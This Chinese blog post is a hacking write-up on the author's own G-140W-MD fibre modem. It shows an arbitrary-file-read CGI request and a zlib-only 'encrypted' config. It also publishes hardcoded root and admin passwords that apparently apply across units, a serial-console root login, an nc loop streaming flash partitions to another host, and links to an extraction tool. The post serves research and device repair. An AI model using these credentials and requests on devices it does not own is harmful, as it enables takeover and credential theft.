上一篇把这台中国移动的 G-140W-MD 拆开了,芯片、闪存、串口位置都摸清楚了。这篇不拆螺丝,走另一条路:从软件打进去。

先说结果,省得你往下翻半天不知道在讲什么。我的起点只有一个普通账户——就是印在机器底部标签上那个 user 加一串字母的东西,没有超管密码,运营商没给,我也没去要。终点是拿到 uid=0(root) 的 shell,把整片 256MB 闪存里 13 个分区的固件原样搬了出来。中间最关键的一步,是把一道 MD5crypt 哈希离线撞开,拿到了通往 root 的那把口令。

具体拿到手的东西:

  • root shell。uid=0,gid=0,不是“telnet 里那个看起来像 root 的账户”——这两者在这台机器上完全是两回事,后面会专门讲。
  • 整片固件。13 个分区全部按分区表偏移校验通过,合计 227.5 MiB,另外拼了一份 256MB 的全片镜像。两个 rootfs 都是结构完整的 squashfs。
  • 解密后的完整数据模型。642KB 明文 XML,整台设备的配置、账号、密码字段、TR-069 参数全在里面。它的“加密”其实是 zlib 压缩。
  • 一套明文凭据,包括超管口令、宽带拨号账号密码、WiFi 出厂口令、设备注册密码。
  • 一个只用普通账户就能跑的工具,打包成了 exe,文章末尾有下载。

要说明的是:这篇文章里所有结论都来自我手上这一台的实际输出,型号 G-140W-MD、硬件版本 M_G140MD_V10、固件 NSB140WV00t03。涉及真实隐私的部分(宽带账号、序列号、MAC)一律打码。另外我不卖关子也不写软文,最后有一整节讲防御,包括这机器有哪些坑是厂商应该补的——挖出来就捂着不给防御方,那才叫给厂商免费打工。

起点:我到底有什么权限

先交代清楚前置条件,不然后面的推理没法验。

中国移动 G-140W-MD 光猫接口面与铭牌:含默认用户名 user 与出厂密码标签、MAC 与 GPON 序列号
机底铭牌上印着默认用户名和出厂密码,这就是本文全部操作的起点——一个普通账户,没有任何管理权限

我手上能用的只有三样:一根网线接在 LAN 口上、铭牌上印的 user 和它对应的口令、以及上一篇拆机时确认过的硬件信息。所谓“超密”(超管密码,一般掌握在装维手里、每台机器下发的还不一样)我一个都没有。

项目实测值
厂商 / 型号Nokia Shanghai Bell(VendorID NBEL)/ G-140W-MD
PN / 硬件版本3FE47339BAAA / M_G140MD_V10
SoCEcoNet EN751221,MIPS 34Kc V5.8 双核
内存249368 kB(约 244 MB)
闪存Micron MT29F2G01ABAGD,256 MiB SLC SPI NAND
固件主 NSB140WV00t03 / 备 NSB140WV00t02 / OLT SW 3FE46343BGBB26
内核 / 用户态Linux 3.18.21(Buildroot 2015.08.1,gcc 4.9.3)/ BusyBox v1.16.0
序列号 / MACNBELFA7E**** / 08:47:D0:**:**:**(已打码)
我的权限普通 Web 账户 user,无超管、无串口、无物理接触

这个起点很重要。因为后面每一步能不能成立,取决于“用普通账户能干到什么程度”。

突破口一:一个把整台设备读光的 CGI

翻 Web 目录的时候,我在 /webs 底下找到一个叫 up_down_file.cgi 的东西。名字看着像“上传下载配置文件”的备份接口,实际行为是这个:

GET /up_down_file.cgi?file=/etc/shadow
Cookie: sid=<任意普通用户会话>

它会把 file= 后面那个绝对路径的文件内容原样吐回来,而这个 CGI 是以 root 身份跑的。路径不做任何白名单限制,也不看你是超管还是普通账户,只要有个有效会话就行。

为了确认这条不是在超管权限下才有,我专门验了一次:单独用 user 登录,先请求 menu.cgi,返回 10,272 字节——这是普通用户的菜单;超管登录时这个数是 24,613。确认是普通会话之后,再在同一会话里读文件,照样成功。权限级别和读取能力在这台机器上是脱钩的。

于是 /etc/passwd、/etc/shadow、/configs/*、/data/*、/webs/*、/tmp/* 全都能读。目录形式 file=/configs/etc/ 还会直接返回一个 tar 包。

它也有边界,我把边界也一并记下来,省得有人照着试半天:

  • CGI 是按 st_size 读的,所以设备文件和 procfs 读出来是 0 字节。这意味着 /dev/mtdN 走这条路拿不到——别在死路上耗时间。
  • 遇到符号链接,它只把 readlink 的目标字符串返回给你,不会跟着读下去。
  • 上传功能是走 NAS 的,需要插 USB 存储,没有 U 盘就写不进去。这条路只读,不写。
  • 命令注入我试过,用计时对照否掉了:基线 1907ms,带三种载荷分别是 1399 / 1498 / 1387ms,没有出现任何延迟特征。

这条漏洞最实用的一个落地

说点跟挖洞无关的。普通人折腾光猫,无论是开 telnet、改桥接还是换固件,几乎都绕不开“恢复出厂设置”这一步,而重置会大概率把宽带拨号的账号密码清掉,之后上不了网,得打客服要回来,很烦。

而这台机器把 pppd 的启动参数明文存在 /configs/etc/ppp/options_ppp121 里:

user    139********@139.gd
password    ******
+ipv6
lcp-echo-interval 30
mtu 1492
noauth
holdoff 2
persist
debug

账号密码我已打码。怎么确认这就是当前在用的那份、而不是某个残留模板?三处交叉:一是文件里有 mtu 1492、persist、lcp-echo-interval 这些真实运行参数,而默认模板 /configs/etc/ppp/options 通篇是注释、根本没有任何 user / password 行;二是文件名 ppp121 对应 WAN 连接 2_INTERNET_R_VID_41,就是上网那条;三是解密出来的数据模型里 PPPoE 账号跟它一致。

顺带提醒一句:/configs/etc/ppp/pap-secrets 和 chap-secrets 都是空模板,只有注释。真正的值只在 options_ppp* 里,别找错文件。

所以最实用的一条操作:动手重置之前,先用普通账户把宽带账号密码读出来存好,重置完照着填回去就能上网——不用打客服,不用拆机,不用超密。我最后做的那个 exe 工具,第一个功能就是这个。

突破口二:所谓“加密配置”,其实是 zlib

顺着上面那条读到的 /configs/confignew_encryption.cfg,71,415 字节,名字里带 encryption,看着像块硬骨头。拿回来先看头部:

偏移 0x00 : 00 12 31 23 | 00 01 0d c4 | 37 ff c9 d1 | 00 09 cd e5 | 00 00 00 00   (20 字节头)
偏移 0x14 : 78 9c ...                                                              (zlib 流)

20 字节头后面跟的是 78 9c,标准 zlib。一行就解开了:

import zlib
xml = zlib.decompress(open("confignew_encryption.cfg","rb").read()[20:])
# -> 642,532 字节明文 XML

642KB 的完整 InternetGatewayDevice 数据模型,整台设备的配置、账号、设备身份、TR-069 参数,全在里面。所谓加密,是把压缩当加密用。

里面的密码字段长这样,带一个 ealgo="ab" 标记,值是 base64:

X_ASB_COM_LoginCfg.AdminUserName  = user       AdminPassword  = n1o7cYZOLD144KjrmsC80w==
X_CT-COM_TeleComAccount.UserName  = CMCCAdmin  Password       = LZ8gkScDdQUp2k+it/ADtw==
VtyshUserName = NSBadmin    VtyshPassword = 72cWxvwvKyKaZJOrPiQkoQ==
SSHUserName   = user         SSHPassword   = n1o7cYZOLD144KjrmsC80w==
TelnetUserName= user         TelnetPassword= n1o7cYZOLD144KjrmsC80w==
SuPassword    = rmVnZPQFZoHmzCupoayVpQ==    FtpPassword = n1o7cYZOLD144KjrmsC80w==

这里有个不依赖密钥就能用的性质:密文是 16 字节单块,同样的明文永远得到同样的密文。上面 AdminPassword、SSHPassword、TelnetPassword、FtpPassword 四个字段的密文一模一样,那它们的明文必然是同一个。拿这个当等价性判据挺好用。

我当然也想过直接把密钥抠出来。用两对已知明文-密文当 oracle(aDm8H%MdA 和 LA(ImvZx%8),跨 cfgmgr(3.19MB)、libcfg.so、libcs_crypto.so、busybox,全偏移搜 AES-128/256 的 ECB/CBC 密钥,0 命中。结论是密钥运行时按设备派生,不在固件里。这条路我放弃了,不做无谓的吹嘘。

但等价性已经够用了。比如我拿已知默认明文 aDm8H%MdA 去比对,发现它对应的密文正是 n1o7cYZOLD144KjrmsC80w==——于是我不用问任何人,就知道这台机器的超管口令还是出厂默认值、没被改过。要是密文对不上,那就是被改过了,直接转串口路线,不用在 Web 上浪费时间。这个判断在实战里很省事。

开 telnet:这一步也不需要运营商给你超密

开 telnet 的接口是这一个,注意分隔符是加号不是等号,我一开始就写错了:

POST /system.cgi?telnet+on
Cookie: sid=<超管会话>

-> "Factory Telnet on !"

拿普通账户去请求,返回 relogin:1,明确要超管。所以严格讲,开 telnet 这一步是需要超管会话的。

但“需要超管会话”和“需要运营商给你超密”是两件事。我这个超管口令不是问谁要来的,是前面读密文比对出来的——它压根就是固件里的出厂默认值,跟运营商下发的那套不是一回事。实战里更省事的做法是拿一份常见出厂口令表直接试,因为这类设备出厂时往往就是那几个通用值,装维不逐台改的话,试两三次就中了。

用途账号口令怎么来的
Web 普通 / telnetusernyb96机底铭牌;也和 shadow 里的 MD5crypt 对得上
Web 超管CMCCAdminaDm8H%MdA密文比对确认未被修改的出厂默认
串口 CLINSBadminLA(ImvZx%8离线撞哈希得到,本文重点
SSH 维护sshadminyT8iSBasON11n~,i后门脚本 add_asb_user.sh 里硬编码
设备密码 / PonPwd—a295498982ubus 接口直接吐出来的
WiFi 出厂口令—kvdxqsng同上
出厂电信超管telecomadminnE7jA%5mcfgmgm 里硬编码,本机已被 CMCCAdmin 顶掉
宽带拨号(已打码,见上文)/configs/etc/ppp/options_ppp121 明文

顺带一提,登录接口前端用了 jsencrypt + sjcl 做了一层 AES-128-CBC、RSA-1024 包裹密钥的加密,看着挺像回事。后端同时接受明文提交,这层前端加密纯属自我安慰,直接 POST 明文就绕过去了。

telnet 开起来之后,user/nyb96 登进去,是能用的 shell。然后我就被泼了一盆冷水。

泼冷水:telnet 里那个账户不是 root

网上大量教程到“telnet 通了”就宣布胜利,默认下面就是 root。这台机器上不是:

$ id
uid=1001(user-telnet) gid=1001(user-telnet) groups=1001(user-telnet)
$ whoami
user-telnet

uid=1001,一个专门给 telnet 用的低权账户。它有 busybox 权限表罩着:dd、mount、chmod、chown、passwd、telnetd、httpd、vi、killall 这些全是 ss-,普通用户禁掉;而 reboot、ip、ping、route、ifconfig、ps、top 标的是 ssx,会以 root 跑——但那几个都是看和重启,改不了东西。

我从这个 uid=1001 出发,系统地试了 22 条提权路径,全部证否。挑几条有代表性的列一下,省得后来人重复投入:

路径为什么走不通
SUID 提权唯一的 SUID 是 /bin/busybox,但它对非 ssx 的 applet 一律降权
写文件落马/etc、/userfs、/ 都是只读 squashfs,写不进去
cron / 定时任务/configs/spc/timer/root 不可写
mknod 造设备CAP_MKNOD 拒绝,Operation not permitted
符号链接绕过CGI 对 S_ISLNK 只回显 readlink 目标,不跟随
CGI 崩溃利用抓到 3 个 sig11,全是 badvaddr=0 的空指针解引用,不可利用
插件安装 / 升级pcmcm.install 返回 -117,有来源校验,压根不发起连接
busybox TELINIT 提权二进制里 0 命中,这个特性没编进来
后门脚本触发allroot.sh、bob.sh 全库无调用者,本身就是需要 root 才能执行的东西
直接撞 root 的 shadow候选跑了几百个没中,下文单独讲

中间也确实捞到一些有意思的东西,比如 /sbin/allroot.sh,内容是用 awk 把 /etc/passwd 里所有账号的 uid/gid 改写成 0:0,还有 add_asb_user.sh 里硬编码的 sshadmin:yT8iSBasON11n~,i。但这些脚本每个都需要 root 才能跑,对 uid=1001 的我没有任何帮助——它们是厂商自己留的维护后门,不是给外人用的入口。

真正有用的发现是另一条:nc 不受 busybox 那张权限表约束。因为 /usr/bin/nc 虽然是 busybox 的软链,但 nc 这个 applet 没被列进禁用表。这个细节后来成了外传固件的关键。

破解那道口令:目标不是 /etc/shadow 里的 root

这里要先纠正一个常见误解。很多人说的“破解 root 密码”,指的是撞 /etc/shadow 里 root: 那一行。那条我在这台机器上没撞开。

root:$1$JzwgelPZ$3zLPQofa2QB5wQEzQLBxj1:0:0:99999:7:::

MD5crypt($1$),salt JzwgelPZ。我拿设备型号、序列号、厂商名、常见弱口令各种组合跑了六百多个候选,没中。后来重新读了一次 shadow,拿到的是另一个 salt 的 $1$ra9SDQvt$...,把已知的几个明文全试了一遍,同样不匹配。这行我没拿下来,不吹。

但通往 uid=0 的入口不止这一个。/configs/vtysh.cfg 里躺着另一条:

user add NSBadmin $1$z2e41yCb$Jyuc5zpSfJMY5sqav3oSu/

这是串口那个 CLI(ASB User CLI)的账户和它的 MD5crypt 哈希。而这台机器串口拉起来的正是 vtysh,它的 shell 命令就是要你输口令,输对了直接给 root。所以真正要撞的是这一条——它是实际通往 uid=0 的那把钥匙。

先证明我的实现是对的

离线撞哈希有个前提:你的 md5crypt 实现得是对的。不然撞不出来你根本分不清是“口令不在这个字典里”还是“代码写错了”。所以我先用一个已知明文的哈希做自检——user-telnet 那一行,明文就是我手上的 nyb96:

assert md5crypt("nyb96", "bBYmrRAD") == "$1$bBYmrRAD$gLUdjoqK4EXb2yPXBKQ5F."
# 通过,实现没问题,可以开撞

自检过了,才拿去撞 NSBadmin 那条。字典里塞了设备标识(型号、SN、MAC、固件版本、厂商名)、厂商常用默认值、以及常见弱口令,几百个候选。结果是:

[selftest] OK
[RESULT] LA(ImvZx%8
>>> shell credentials: NSBadmin / LA(ImvZx%8

交叉验证:这个口令还是永久的

撞出来之后我没有直接用,先做了两件事确认它靠谱。

第一件,找第二个 salt 的同明文哈希。cfgmgm 会重写 vtysh.cfg,我手上有一份早先归档的配置,里面的盐是 B5qb9TdN,哈希串完全不同。拿同一个明文去算,两个 salt 都对上了。这说明配置重新生成的时候只换盐、不换口令——也就是说这个口令不会因为设备重启、配置重建、甚至恢复出厂而变。它是个永久性的 root 入口,不是一次性的巧合。

第二件,找第二个独立信源。我在 libcfg.so 的数据模型默认值里翻到了:

VtyshUserName  = NSBadmin
VtyshPassword  = LA(ImvZx%8        <- 明文就写在库里

一条从哈希离线撞出来,一条从固件二进制里明文读出来,两个独立来源指向同一个值,加上 cfgmgm 里那句 echo 'user add %s %s' >/configs/vtysh.cfg 说明生成逻辑,三条互证。到这里我才敢说这个口令是真的。

落地:三根线,uid=0

口令有了,还需要一个能让它生效的地方。答案是串口——上一篇拆机时已经把针脚摸清楚了。

G-140W-MD 主板正面全貌:主控 SoC、无线芯片、SPI NAND 存储与网口区域,TTL 串口排针位于板边
主板正面。串口排针在板边,四针里只需要接三根:GND、TX、RX,VCC 一律悬空

内核把 ttyS0 当 console,而 /etc/inittab 里是这样写的:

::sysinit:/usr/etc/init.d/rcS
#::respawn:-/bin/sh          <- 厂商自留的 root shell,被注释掉了
ttyS0::respawn:/usr/sbin/vtysh

串口上拉起来的是 vtysh。接线参数:

项目值
串口ttyS0(/dev/ttyS0 = c 4 64)
参数115200 8N1,无流控
电平3.3V TTL(USB-TTL 适配器必须打 3.3V 档,5V 会击穿 SoC IO)
接线GND 接 GND,TX↔RX 交叉,VCC 悬空不接(避免双供电)
针脚识别断电用蜂鸣档找与 RJ45 屏蔽罩导通的那针 = GND;上电后稳定 3.3V 的是 VCC(不接),开机瞬间有跳变的是 TX

上电,抓启动日志,等 vtysh 起来:

Hello, Welcome to ASB User CLI (version 0.95).

user>  enable
user#  shell
Password:            <- 这里输 LA(ImvZx%8
/ # id
uid=0(root) gid=0(root)

到手。有个坑要记一下:shell 连续输错 3 次会锁 300 秒,屏幕会明确告诉你 login will be forbidden about 300s。所以别手抖。

搬固件:把 256MB 闪存整个倒出来

有 root 之后第一件事是把固件存下来——这东西比任何分析结论都值钱。外传用 nc,就是前面说的那个不受权限表约束的 applet:

IP=192.168.1.2
for i in 1 2 3 4 5 6 7 8 9 10 11 12; do
  cat /dev/mtd$i | nc $IP $((9000+i)); echo "DONE_$i"
done
G-140W-MD 板载 SPI NAND 闪存芯片特写:Micron 8 脚封装颗粒
被整个读出来的就是这颗:Micron MT29F2G01ABAGD,256 MiB SLC SPI NAND,页大小 2048+64

13 个分区,全部按 bootbase 分区表的绝对偏移校验通过,合计 238,551,040 字节:

分区偏移大小内容
mtd0 bootloader0x00000000256 KBbootbase,含 7512DRAMC 初始化
mtd1 romfile0x00040000256 KB—
mtd2 kernel0x000800003 MBtrx 头(256B) + LZMA 内核
mtd3 rootfs0x0038000020 MBsquashfs 4.0 / LZMA,2467 inodes
mtd4 kernel_slave0x017800003 MB备区内核
mtd5 rootfs_slave0x01a8000020 MB备区 rootfs,2376 inodes
mtd6 bosa0x02e80000256 KB光组件参数
mtd7 ri0x02ec0000256 KB设备标识(含 NBEL)
mtd8 flag / mtd9 flagback0x02f00000 / 0x02f40000各 256 KB启动标志位
mtd10 config0x02f8000010 MBUBI → /configs、/etc
mtd11 data0x03980000160 MBUBI → /data
mtd12 log0x0d98000010 MBUBI → /logs

格式也逐个验过:两个 rootfs 的 magic 是 hsqs、超块 sane、bytes_used 都没超分区容量;两个 kernel 是 3RDH 开头的平台 trx 格式,加载地址 0x80002000;mtd10/11/12 是 UBI#。bootbase 自己的日志也佐证了这些数字:kernel_size 2818048、trx_header_len 256、Flash Size=0x10000000。

操作上有两个坑,我都踩了。一是串口 Close() 会触发 tty hangup,把正在跑的前台命令流直接杀掉,所以长传输期间绝对不能关串口;二是 telnet 那条路径上 nc 传超过 3MB 会被包装器超时切断,大文件得换 up_down_file.cgi 逐字节下载。串口直连没这个限制。

顺便记几个 busybox 1.16.0 在这台机器上的脾气,都是会浪费你半小时的那种:ls 输出带 ANSI 色码,解析前得先剥 \x1b\[[0-9;]*m;tar 碰到不可读文件是直接中止而不是跳过,得用 --exclude;telnet 包装器的命令行上限大约 60 字符,超了静默失效,连报错都没有。

成果与分享

一、G140W 光猫助手(exe,免安装)

把上面最实用的那部分(只用普通账户就能做的读取)打包成了一个 Windows 小程序,双击就能跑,不用装 Python。

分享内容:G140W光猫助手.exe
链接:https://ug.link/xiaozou/filemgr/share-download/?id=290f91b0c2e640658c4fa1f89cf635db
访问密码:Ks7u

用法:网线接光猫 LAN 口 → 双击 exe → 输入 1 回车 → 屏幕上就会显示宽带账号密码,同时自动存到「提取结果」文件夹里。默认已经填好 192.168.1.1 / user,密码不对就在菜单里改。

它还能导出完整配置、列出所有账号密码字段、导出系统密码哈希、检查账号存在性。全程只读,不改光猫任何设置。源码 g140w_helper.py 和 g140w_tool.py 也一起放在包里,不放心的可以自己看——Python 打包的程序杀软容易误报,这是常态。

如果提示“该账号已经登录,请稍后重试”,那是这台机器的单会话限制(幽灵锁):断电等十秒再开,或者等 8–10 分钟自然释放,或者在菜单里填入一个有效的会话编号复用。

二、完整固件镜像 g140w_mtd_dump

分享内容:g140w_mtd_dump
链接:https://ug.link/xiaozou/filemgr/share-download/?id=fa8eb5af07c240bf9035bd5517c93886
访问密码:Mu4L

里面是 13 个分区的原始镜像(mtd0_bootloader.bin 到 mtd12_log.bin)加一份 256MB 全片镜像 FULLFLASH_256MB.bin,以及解密后的数据模型 datamodel_decrypted.xml。全片镜像的 SHA256 是:

B9AF2EE6A3F3E48269F86C04BF4A9720879CAA6F55F1E378AD2E83CFD5809121  FULLFLASH_256MB.bin

想自己解包的:

unsquashfs -d rootfs mtd3_rootfs.bin            # 或 7z x,都能解
ubireader_extract_files mtd10_config.bin -o configs/
dd if=mtd2_kernel.bin of=k.lzma bs=1 skip=256 && unlzma k.lzma

另外附带一份《攻防手册》,把全部漏洞、TTL 接入规格、分区表、已证否的 22 条路径都写全了,比这篇博客细得多。

最后提示一句:回写固件不要用 dd 直接打 /dev/mtdN。这是 SPI NAND,有 ECC 和 OOB 要处理,得用 mtd_debug / nandwrite 这类专用工具。真要救砖,先确认你手上有完整的原始镜像——上面这份就是。

写在最后

回头看整条链子,其实每一步都不复杂:一个不做白名单的下载 CGI、一层拿压缩充数的“加密”、一个 644 的设备节点、一个明文写在库里的 CLI 口令、一个没进权限表的 nc。没有一个是高深漏洞,全是工程上省事省出来的。但串在一起,一台普通账户就能把整台设备的固件和密码体系搬空。

也别把它想得太神。我在这台机器上也被卡了很久:22 条提权路径全否,root 的 shadow 撞了六百多个候选没中,超管密文的静态密钥搜遍固件 0 命中。最后成事的,是把“目标”换对了——我要的不是 /etc/shadow 里那一行,而是实际通往 uid=0 的那把钥匙。想明白这一层,剩下的就是几个小时的事。

这台 G-140W-MD 属于 2016 年前后的走量机,硬件早就过时,四个网口三个百兆。但它身上这套软件设计,十年后的今天还在大量设备上原样复刻。所以这篇文章真正想说的不是“我破解了一台光猫”,而是这类设备的安全模型到底塌在哪——以及,它本来可以不用塌。

资料仅供学习和自有设备维护使用,请勿用于未经授权的设备。

写这些内容需要耗费大量的时间和金钱,觉得有用的话可以点击下面的“赞赏”支持作者,你的支持是我更新的动力。